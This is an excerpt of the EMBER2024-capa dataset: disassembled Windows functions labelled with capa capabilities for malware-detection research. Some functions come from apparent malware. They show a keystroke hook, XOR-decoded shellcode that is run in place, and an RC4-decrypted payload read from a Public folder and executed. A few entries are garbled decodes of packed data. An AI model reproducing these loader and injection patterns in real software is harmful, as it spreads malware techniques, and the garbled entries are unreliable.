joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10012d40
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], 0x1008a9d8
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
mov dl, byte [ecx]
mov byte [ebp - 1], dl
add dword [ebp - 8], 1
cmp byte [ebp - 1], 0
jne 0x10012d56
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jbe 0x10012ddd
mov dword [ebp - 0x10], 0x1008a9d8
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
mov al, byte [edx]
mov byte [ebp - 2], al
mov ecx, dword [ebp - 0x10]
cmp al, byte [ecx]
jne 0x10012dc1
cmp byte [ebp - 2], 0
je 0x10012db8
mov edx, dword [ebp - 0xc]
mov al, byte [edx + 1]
mov byte [ebp - 3], al
mov ecx, dword [ebp - 0x10]
cmp al, byte [ecx + 1]
jne 0x10012dc1
add dword [ebp - 0xc], 2
add dword [ebp - 0x10], 2
cmp byte [ebp - 3], 0
jne 0x10012d84
mov dword [ebp - 0x14], 0
jmp 0x10012dc9
sbb edx, edx
or edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x10012ddd
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x100130c0
Capabilities:
Allocate or change rwx memory
Create thread
Log keystrokes via application hook
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100131b3
cmp dword [ebp - 4], 1
je 0x100130e1
jmp 0x1001321e
lea ecx, [ebp - 8]
push ecx
push 0x40
push 0x2b3ffe
push 0x401000
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 1
jne 0x100131b1
mov ecx, 0x1006d4e8
call fcn.10011fe0
call fcn.10012660
push 0
push 0
push 0x10012ce0
call fcn.1001b828
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0
push 0x10002280
push 7
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [0x1008a9b4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0
push 0x100128d0
push 2
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [0x1008a9b8], eax
push 0
push 0
push 0x10012c50
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [0x1008a9bc], eax
push 0x1003aab8
call fcn.10013270
add esp, 4
test eax, eax
jle 0x100131b1
call fcn.100013cb
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10001721
push 0x10011e00
push 0x1006d4d4
call fcn.10001af0
push 0x10011df0
push 0x1006d4d8
call fcn.10001af0
call fcn.10001ae8
jmp 0x1001321e
mov edx, dword [0x1008a9b4]
push edx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov eax, dword [0x1008a9b8]
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, dword [0x1008a9bc]
push ecx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push str.WindowMode
call fcn.10013270
add esp, 4
test eax, eax
jle 0x1001321e
call fcn.100013cb
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10001721
push 0x10011e00
push 0x1006d4d4
call fcn.100019e5
push 0x10011df0
push 0x1006d4d8
call fcn.100019e5
call fcn.10001ae8
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10013270
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 4
lea eax, [ebp - 8]
push eax
push str.SoftwareWebzenMUConfig
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x100132c9
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 4]
push edx
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100132bf
mov eax, dword [ebp - 4]
jmp 0x100132cb
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10013320
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0xc]
push eax
push 0x40
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10013366
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x100133a9
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10019080
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x100133a7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x100133a9
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x100291c5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1002903b
Function at 0x406200
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0
mov eax, dword [0x444f7c]
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 0x86179266
mov eax, dword [ebp - 0x10]
mov ecx, eax
sub ecx, 0xbbee3245
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
jg 0x40627a
jmp 0x406238
mov eax, dword [ebp - 0x14]
sub eax, 0x86179266
mov dword [ebp - 0x1c], eax
je 0x406295
jmp 0x40624e
mov eax, dword [ebp - 0x14]
sub eax, 0x8ab636d5
mov dword [ebp - 0x20], eax
je 0x4062b3
jmp 0x406264
mov eax, dword [ebp - 0x14]
sub eax, 0x987de37e
mov dword [ebp - 0x24], eax
je 0x4062c7
jmp 0x406290
mov eax, dword [ebp - 0x14]
sub eax, 0xbbee3246
mov dword [ebp - 0x28], eax
je 0x4062f3
jmp 0x406290
jmp 0x4062fb
mov eax, 0x987de37e
mov ecx, 0x8ab636d5
mov edx, dword [ebp - 4]
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x10], eax
jmp 0x4062fb
mov eax, dword [0x444f7c]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0xbbee3246
jmp 0x4062fb
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [0x444f7c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0xbbee3246
jmp 0x4062fb
mov eax, dword [ebp - 8]
add esp, 0x28
pop ebp
ret
jmp 0x40621c
Function at 0x41d8f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x18
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x10], 5
jge 0x41d923
mov dword [ebp - 0xc], 1
jmp 0x41da90
mov eax, dword [ebp - 0x14]
mov cl, byte [eax]
mov byte [ebp - 0x19], cl
movzx eax, byte [ebp - 0x19]
cmp eax, 0xe1
jl 0x41d946
mov dword [ebp - 0xc], 1
jmp 0x41da90
mov eax, dword [ebp - 0x18]
mov dword [eax + 8], 0
movzx eax, byte [ebp - 0x19]
cmp eax, 0x2d
jl 0x41d99c
jmp 0x41d964
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 8]
add ecx, 0xba46677
add ecx, 1
sub ecx, 0xba46677
mov dword [eax + 8], ecx
movzx eax, byte [ebp - 0x19]
add eax, 0x8fc4fe77
sub eax, 0x2d
sub eax, 0x8fc4fe77
mov dl, al
mov byte [ebp - 0x19], dl
jmp 0x41d950
mov eax, dword [ebp - 0x18]
mov dword [eax + 4], 0
movzx eax, byte [ebp - 0x19]
push ebx
mov ebx, 0xc9420cde
xor ebx, 0xc9420cd7
cmp eax, ebx
pop ebx
jl 0x41d9fa
jmp 0x41d9c4
mov eax, 0x437680
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 4]
sub eax, 1
sub edx, eax
mov dword [ecx + 4], edx
movzx eax, byte [ebp - 0x19]
add eax, 0x75d20fa5
add eax, 0xfffffff7
add eax, 0x8a2df05b
mov bl, al
mov byte [ebp - 0x19], bl
jmp 0x41d9a6
movzx eax, byte [ebp - 0x19]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov dword [eax + 0xc], 0
mov dword [ebp - 0x20], 0
cmp dword [ebp - 0x20], 4
jge 0x41da6f
mov eax, 1
mov ecx, 0
mov edx, dword [ebp - 0x20]
sub ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x14]
movzx eax, byte [ecx + eax]
mov ecx, dword [ebp - 0x20]
shl ecx, 3
shl eax, cl
mov edx, dword [ebp - 0x18]
mov esi, dword [edx + 0xc]
sub esi, 0xd508665d
add esi, eax
add esi, 0xd508665d
mov dword [edx + 0xc], esi
mov eax, 0
mov ecx, dword [ebp - 0x20]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0x20], ecx
jmp 0x41da14
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0xc], 0
jne 0x41da89
mov eax, dword [ebp - 0x18]
mov dword [eax + 0xc], 1
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
add esp, 0x18
pop esi
pop ebx
pop ebp
ret
Function at 0x422e2a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x444810]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004212a8
mov dword [ebp - 0x14], eax
cmp dword [0x445f9c], edi
jne 0x422f1b
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x422ea8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x422ffb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x422ffb
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x422ffb
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x445f9c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x445fa0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x445fa4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x445fac], eax
test eax, eax
je 0x422f18
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x445fa8], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x422f40
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x422f33
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x422f55
push 4
pop eax
jmp 0x422ffd
cmp dword [ebp - 0x14], edi
je 0x422f55
push dword [0x445f9c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x422f3a
mov eax, dword [0x445fa8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x422fb3
cmp dword [0x445fac], esi
je 0x422fb3
push eax
call ebx
push dword [0x445fac]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x422fb3
test eax, eax
je 0x422fb3
call ecx
test eax, eax
je 0x422fa8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x422fa8
test byte [ebp - 8], 1
jne 0x422fb3
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x422fe3
mov eax, dword [0x445fa0]
cmp eax, esi
je 0x422fe0
push eax
call ebx
test eax, eax
je 0x422fe0
call eax
mov edi, eax
test edi, edi
je 0x422fe0
mov eax, dword [0x445fa4]
cmp eax, esi
je 0x422fe0
push eax
call ebx
test eax, eax
je 0x422fe0
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x445f9c]
call ebx
test eax, eax
je 0x422ffb
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x422ffd
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042300c
leave
ret
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x540be400
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x4010f4
push 0x540be400
push 0
push esi
call sub.VCRUNTIME140.dll_memset
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor edx, edx
add esp, 0x10
xor ecx, ecx
lea esi, [edx + 7]
nop word [eax + eax]
movzx eax, byte [edx + str.trungpq]
xor byte [ecx + 0x403060], al
lea eax, [edx + 1]
xor edx, edx
div esi
movzx eax, byte [edx + str.trungpq]
xor byte [ecx + 0x403061], al
lea eax, [edx + 1]
xor edx, edx
div esi
movzx eax, byte [edx + str.trungpq]
xor byte [ecx + 0x403062], al
lea eax, [edx + 1]
xor edx, edx
div esi
movzx eax, byte [edx + str.trungpq]
xor byte [ecx + 0x403063], al
lea eax, [edx + 1]
xor edx, edx
div esi
movzx eax, byte [edx + str.trungpq]
xor byte [ecx + 0x403064], al
lea eax, [edx + 1]
xor edx, edx
div esi
movzx eax, byte [edx + str.trungpq]
xor byte [ecx + 0x403065], al
lea eax, [edx + 1]
xor edx, edx
add ecx, 6
div esi
cmp ecx, 0x2c4
jb 0x401050
lea eax, [ebp - 8]
push eax
push 0x20
push 0x2c5
push 0x403060
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x403060
call eax
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.00401105
mov esp, ebp
pop ebp
ret

Function at 0x40190b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40194a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40194a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40194a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40194a
cmp dword [ecx + 0x74], 0xe
jbe 0x40194a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x68f74e
Capabilities:
Authenticate hmac

Disassembly:
popal
mov dword [ebx], edx
sub dword [ecx - 0x6ab93ac7], ecx
add al, 0x2f
scasb al, byte es:[edi]
lds esi, [ebp + 0x3f]
dec ebx
rcr byte [esi + 0x2e], 1
mov dword [0x59fe2ea6], eax
adc dword [eax + 0x7e7179d9], ebx
lahf
leave
push eax
invalid

Function at 0x76ee2e
Capabilities:
Encode data using xor

Disassembly:
out 0x23, al
invalid
sti
xor dword [ebx], eax
cmpsd dword [esi], dword es:[edi]
push ebx
inc esi
les esp, [eax + 0x32e2e7c0]
jno 0x76edb2
inc eax
in eax, dx
ret
xor dword [ebx], 0x53
loopne 0x76edb6
sal dword [edx + 6], cl
retf 0xe891
Function at 0x401140
Capabilities:
Load windows common language runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x411d5c
call esi
push 0x411d70
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40116e
push 0x800
call eax
push 0x411d8c
call esi
push str.CLRCreateInstance
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 4], 0
test eax, eax
je 0x4011e8
lea ecx, [esp + 8]
mov dword [esp + 8], 0
push ecx
push 0x411e2c
push 0x411e3c
call eax
mov ecx, dword [esp + 8]
test ecx, ecx
je 0x4011e0
mov eax, dword [ecx]
lea edx, [esp + 0x10]
push edx
push 0x411e4c
push str.v4.0.30319
push ecx
call dword [eax + 0xc]
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x4011e0
mov eax, dword [ecx]
lea edx, [esp + 4]
push edx
push 0x411dfc
push 0x411e1c
push ecx
call dword [eax + 0x24]
mov ecx, dword [esp + 4]
test ecx, ecx
jne 0x401207
lea eax, [esp + 4]
push eax
push 0x411dfc
push 0x411e1c
push 0
push 0
push 0
call dword [sym.imp.mscoree.dll_CorBindToRuntimeEx]
mov ecx, dword [esp + 4]
mov eax, dword [ecx]
push ecx
call dword [eax + 0x28]
mov eax, dword [esp + 4]
lea edx, [esp + 0x14]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0xc]
push edx
push 0x411e0c
push eax
mov ecx, dword [eax]
call dword [ecx]
mov edx, dword [esp + 0xc]
mov ecx, dword [ebp + 8]
push str._RESOLVER
call fcn.00401010
mov edx, dword [esp + 0x10]
add esp, 4
mov ecx, dword [ebp + 8]
push str._ENTRYPOINT
call fcn.00401010
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x401a94
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401ad3
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401ad3
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401ad3
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401ad3
cmp dword [ecx + 0x74], 0xe
jbe 0x401ad3
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40bf80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40bfad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40bfad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x2c4121a
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x4a806f29
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x1001b325
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push ebx
push ebx
push eax
push ebx
push 1
push ebx
push dword [ebp + 8]
mov dword [ebp - 4], ebx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x1001b34a
xor al, al
jmp 0x1001b38d
push esi
push dword [ebp - 4]
call fcn.10048323
mov esi, dword [ebp + 0xc]
pop ecx
mov dword [esi], eax
test eax, eax
je 0x1001b37e
push ebx
push ebx
lea ecx, [ebp - 4]
push ecx
push eax
push 1
push ebx
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x1001b382
push dword [esi]
call fcn.1003fe43
pop ecx
mov dword [esi], ebx
xor al, al
jmp 0x1001b38c
mov edx, dword [ebp + 0x10]
mov al, 1
mov ecx, dword [ebp - 4]
mov dword [edx], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001b392
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push edi
mov edi, ecx
cmp dword [ebp + 0xc], ebx
jbe 0x1001b409
push esi
mov eax, dword [edi + 0x100]
inc eax
movzx esi, al
mov dword [edi + 0x100], esi
movzx eax, byte [esi + edi]
add eax, dword [edi + 0x104]
movzx edx, al
mov dword [edi + 0x104], edx
mov cl, byte [esi + edi]
mov al, byte [edx + edi]
mov byte [esi + edi], al
mov byte [edx + edi], cl
mov eax, dword [edi + 0x104]
movzx ecx, byte [eax + edi]
mov eax, dword [edi + 0x100]
movzx eax, byte [eax + edi]
add ecx, eax
and ecx, 0x800000ff
jns 0x1001b3f6
dec ecx
or ecx, 0xffffff00
inc ecx
movzx eax, cl
mov ecx, dword [ebp + 8]
mov al, byte [eax + edi]
xor byte [ebx + ecx], al
inc ebx
cmp ebx, dword [ebp + 0xc]
jb 0x1001b3a1
pop esi
pop edi
pop ebx
pop ebp
ret 8

Function at 0x1001b47a
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
xor eax, eax
mov byte [eax + esi], al
inc eax
cmp eax, 0x100
jb 0x1001b485
and dword [ebp - 4], 0
xor edi, edi
xor edx, edx
mov bl, byte [edi + esi]
mov eax, edi
movzx ecx, bl
div dword [ebp + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
add eax, dword [ebp - 4]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 4], ecx
mov al, byte [ecx + esi]
mov byte [edi + esi], al
inc edi
mov byte [ecx + esi], bl
cmp edi, 0x100
jb 0x1001b496
and dword [esi + 0x100], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1001b4d7
Capabilities:
Get file size
Read file on windows

Disassembly:
push 0x7c
mov eax, 0x100708de
call fcn.1001dbb0
push 0x43
pop eax
push 0x3a
mov word [ebp - 0x74], ax
pop eax
push 0x5c
pop esi
push 0x55
mov word [ebp - 0x72], ax
pop eax
push 0x73
pop ebx
push 0x65
pop edi
push 0x72
mov word [ebp - 0x6e], ax
pop eax
push 0x50
mov word [ebp - 0x68], ax
pop eax
push 0x75
pop edx
push 0x62
mov word [ebp - 0x62], ax
pop eax
push 0x6c
mov word [ebp - 0x5e], ax
pop eax
push 0x69
mov word [ebp - 0x5c], ax
pop eax
push 0x63
pop ecx
push 0x44
mov word [ebp - 0x5a], ax
pop eax
push 0x6f
mov word [ebp - 0x70], si
mov word [ebp - 0x64], si
mov word [ebp - 0x56], si
pop esi
push 0x6d
mov word [ebp - 0x58], cx
mov word [ebp - 0x54], ax
mov word [ebp - 0x50], cx
pop ecx
push 0x6e
pop eax
push 0x74
mov word [ebp - 0x48], ax
pop eax
push 0x5c
mov word [ebp - 0x60], dx
mov word [ebp - 0x4e], dx
pop edx
push 0x2e
mov word [ebp - 0x46], ax
mov word [ebp - 0x40], ax
pop eax
push 0x78
mov word [ebp - 0x3a], ax
pop eax
mov word [ebp - 0x36], ax
xor eax, eax
mov word [ebp - 0x6c], bx
mov word [ebp - 0x66], bx
mov word [ebp - 0x44], bx
xor ebx, ebx
push ebx
push 0x80
push 3
mov word [ebp - 0x6a], di
mov word [ebp - 0x52], si
mov word [ebp - 0x4c], cx
mov word [ebp - 0x4a], di
mov word [ebp - 0x42], dx
mov word [ebp - 0x3e], si
mov word [ebp - 0x3c], cx
mov word [ebp - 0x38], si
mov word [ebp - 0x34], ax
push ebx
push 1
push 0x80000000
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov dword [ebp - 0x84], edi
test edi, edi
mov dword [ebp - 4], ebx
setne al
test al, al
je 0x1001b6a1
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
test ebx, ebx
je 0x1001b6a1
lea ecx, [ebx + 1]
push ecx
call fcn.1001db37
mov esi, eax
pop ecx
mov dword [ebp - 0x88], esi
push 0
lea eax, [ebp - 0x80]
mov byte [ebp - 4], 1
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x80]
xor ecx, ecx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], ecx
mov byte [eax + esi], cl
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
push esi
call fcn.1001b325
add esp, 0xc
test al, al
je 0x1001b696
mov ebx, dword [ebp - 0x7c]
lea eax, [ebp - 0x20]
push 0x10
push eax
push 0x10
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0x14537221
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x2c], 0xb8a79685
push ebx
mov dword [ebp - 0x28], 0xfcebdac9
mov dword [ebp - 0x24], 0x302f1e0d
mov dword [ebp - 0x20], 0xd3274b9f
mov dword [ebp - 0x1c], 0x2acd8e51
mov dword [ebp - 0x18], 0x56a13cbf
mov dword [ebp - 0x14], 0x3d9a78e4
call fcn.1001b40f
add esp, 0x18
push ebx
call section..text
push ebx
call fcn.1003fe43
pop ecx
test esi, esi
je 0x1001b6a1
push esi
call fcn.1001db40
pop ecx
test edi, edi
je 0x1001b6b1
cmp edi, 0xffffffff
je 0x1001b6b1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
call fcn.1001db5a
ret
Function at 0x1001b6b9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
cmp dword [ebp + 0xc], ecx
jbe 0x1001b6e0
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x10]
xor edx, edx
mov eax, ecx
div dword [ebp + 0x14]
mov al, byte [edx + edi]
xor byte [ecx + esi], al
inc ecx
cmp ecx, dword [ebp + 0xc]
jb 0x1001b6cb
pop edi
pop esi
pop ebp
ret

Function at 0x10021439
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x1005dddd
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1005d62f

Function at 0x1005dde8
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1005d86a

Function at 0x1006a813
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1006a651